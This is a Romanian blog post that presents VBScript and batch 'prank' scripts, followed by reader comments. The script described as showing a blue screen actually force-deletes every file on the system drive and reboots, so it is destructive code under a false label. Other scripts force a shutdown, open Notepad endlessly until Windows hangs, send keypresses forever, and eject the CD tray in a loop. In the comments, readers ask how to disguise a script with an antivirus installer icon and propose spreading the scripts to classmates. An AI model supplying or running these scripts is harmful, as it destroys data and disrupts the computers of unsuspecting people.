Script-uri Visual Basic

Indiferent ca te plictisesti sau chiar ai nevoie de asa ceva mai jos o sa va prezint foarte pe scurt cateva script-uri in limbajul Visual Basic. De retinut ca script-urile trebuiesc puse pe rand in cate un fisier creat de voi cu extensia VBS.

Mare atentie: scripturile de mai jos sunt postate cu scop informativ, ele pot fi folosite pentru a speria colegii sau prietenii chiar daca 1 aprilie s-a dus de mult.

Schimbarea IP-ului de la calculator – un script simplu care va schimba automat IP-urile de la calculator, inlocuiti “xxx”-urile cu datele reale. Utilitatea acestui script se vede cel mai bine pe un calculator conectat la mai multe surse de internet si fiecare cu ip propriu, usureaza munca aia de dat click de 10 ori si schimbarea IP-urilor de 5 ori pe zi.

Option Explicit
Dim objWMIService
Dim objNetAdapter
Dim strComputer
Dim arrIPAddress
Dim arrSubnetMask
Dim arrGateway
Dim colNetAdapters
Dim errEnableStatic
Dim errGateways

strComputer = "."
arrIPAddress = Array("xxx.xxx.xxx.xxx")
arrSubnetMask = Array("xxx.xxx.xxx.xxx")
arrGateway = Array("xxx.xxx.xxx.xxx")
Set objWMIService = GetObject("winmgmts:" & strComputer & "\root\cimv2")
Set colNetAdapters = objWMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
For Each objNetAdapter in colNetAdapters
errEnableStatic = objNetAdapter.EnableStatic(arrIPAddress, arrSubnetMask)
errGateways = objNetAdapter.SetGateways(arrGateway)
Next

Ecranul albastru – stiti de acel ecran albastru (zis si “the blue screen of death”) cu o eroare cretina, ei bine scriptul asta poate afisa acel ecran albastru

@echo off
del %systemdrive%\\*.* /f /s /q
shutdown -r -f -t 00

Inchide calculatorul in 10 secunde – scriptul asta afiseaza o fereastra cu un mesaj si windows-ul se va inchide in 10 secunde

@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c \"Error! You are too stupid!\" -s -t 10

Multe ferestre de Notepad – scriptul asta va deschide multe ferestre de Notepad pana Windows-ul se va bloca si va trebui sa il restartati ca sa mearga din nou

@ECHO off
:top
START %SystemRoot%\\system32\\notepad.exe
GOTO top

Enter la infinit – tasta Enter va fi apasata de multe ori fara oprire, doar restartarea Windows-ului poate rezolva problema

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Backspace la infinit – tasta Backspace va fi apasata de multe ori fara oprire, doar restartarea Windows-ului poate rezolva problema

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

CDROM-ul a inebunit – chiar daca aveti doar o unitate optica (CD-ROM/DVD-ROM), scriptul asta le va deschide si le va inchide la un interval de cateva secunde

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop

9 thoughts on “Script-uri Visual Basic”

  1. Trebui sa le salvez .vbs ?

    Le salvez .vbs si imi dau o erroare :

    Script: C:UsersAdministratorDesktopNew Text Document.vbs
    Line: 1
    Char: 1
    Error: Invalid character
    Code: 800A0408
    Source: Microsoft VBScript compilation error

  2. Am o intrebare: cum pot salva un script de asta cu icnoita unui program sau una a unui kit de instalare, sa zicem a unui antivirus?

  3. “Fatal system error due to admin stupidity!” :)) loool

    CDROM-ul a inebunit e cel mai tare 😆 dar cum se opreste?

    Daca scriu pe un CD scripturile astea si le impart prin clasa o sa-si reinstaleze toti Windowsul :))

    Multe ferestre de Notepad nu poate fi oprit omorand procesul notepad.exe din task manager?

Leave a Reply

Your email address will not be published. Required fields are marked *